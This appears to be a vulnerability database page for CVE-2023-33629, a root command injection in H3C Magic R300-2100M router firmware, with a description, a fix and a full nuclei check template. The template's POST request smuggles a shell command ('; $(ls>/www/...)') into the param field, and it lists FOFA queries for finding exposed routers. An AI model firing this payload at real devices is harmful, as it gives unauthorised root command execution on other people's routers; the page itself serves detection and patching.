Browse / CVEs / CVE-2023-33629
CVE-2023-33629· h3c / magic r300-2100m firmware· CWE-787
H3C Magic R300-2100M - Remote Code Execution
highseverity
7.2CVSS score
4.4%likelihood of exploitation, next 30 days
91%of all CVEs are less likely
Readycheck to confirm it
H3C Magic R300 version R300-2100MV100R004 was discovered to contain a stack overflow via the DeltriggerList interface at /goform/aspForm.
Impact
Authenticated high-privilege attackers can exploit stack overflow through command injection in the DelL2tpLNSList parameter to execute arbitrary commands on the H3C Magic R300 router with root privileges.
Fix
Update H3C Magic R300-2100M firmware to a version newer than R300-2100MV100R004 that properly validates input in the DeltriggerList interface at /goform/aspForm.
How to confirm it
Send: POST /goform/aspForm ; GET /{{filename}}
Positive when: status_code_1 == 302 and contains(body_1, 'do_cmd.asp') and status_code_2 == 200 and contains_all(body_2, 'www', 'www_multi')Run it with nuclei: nuclei -id CVE-2023-33629 -u <target>
The full check
id: CVE-2023-33629
info:
name: H3C Magic R300-2100M - Remote Code Execution
author: DhiyaneshDK
severity: high
description: |
H3C Magic R300 version R300-2100MV100R004 was discovered to contain a stack overflow via the DeltriggerList interface at /goform/aspForm.
impact: |
Authenticated high-privilege attackers can exploit stack overflow through command injection in the DelL2tpLNSList parameter to execute arbitrary commands on the H3C Magic R300 router with root privileges.
remediation: |
Update H3C Magic R300-2100M firmware to a version newer than R300-2100MV100R004 that properly validates input in the DeltriggerList interface at /goform/aspForm.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2023-33629
- https://hackmd.io/@0dayResearch/r1UjggZfh
- https://hackmd.io/%400dayResearch/r1UjggZfh
- https://github.com/20142995/sectool
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.2
cve-id: CVE-2023-33629
cwe-id: CWE-787
epss-score: 0.04353
epss-percentile: 0.91313
cpe: cpe:2.3:o:h3c:magic_r300-2100m_firmware:r300-2100mv100r004:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: h3c
product: magic_r300-2100m_firmware
fofa-query:
- app="H3C-Ent-Router"
- app="h3c-ent-router"
tags: cve2023,cve,router,rce,h3c,vkev,vuln
variables:
filename: "{{to_lower(rand_text_alpha(7))}}"
http:
- raw:
- |
POST /goform/aspForm HTTP/1.1
Host: {{Hostname}}
CMD=DelL2tpLNSList&GO=vpn_l2tp_session.asp¶m=1; $(ls>/www/{{filename}});
- |
GET /{{filename}} HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code_1 == 302
- contains(body_1, 'do_cmd.asp')
- status_code_2 == 200
- contains_all(body_2, 'www', 'www_multi')
condition: andReferences
- https://nvd.nist.gov/vuln/detail/CVE-2023-33629
- https://hackmd.io/@0dayResearch/r1UjggZfh
- https://hackmd.io/%400dayResearch/r1UjggZfh
- https://github.com/20142995/sectool
Use this check only on systems you are authorised to test. Where the data comes from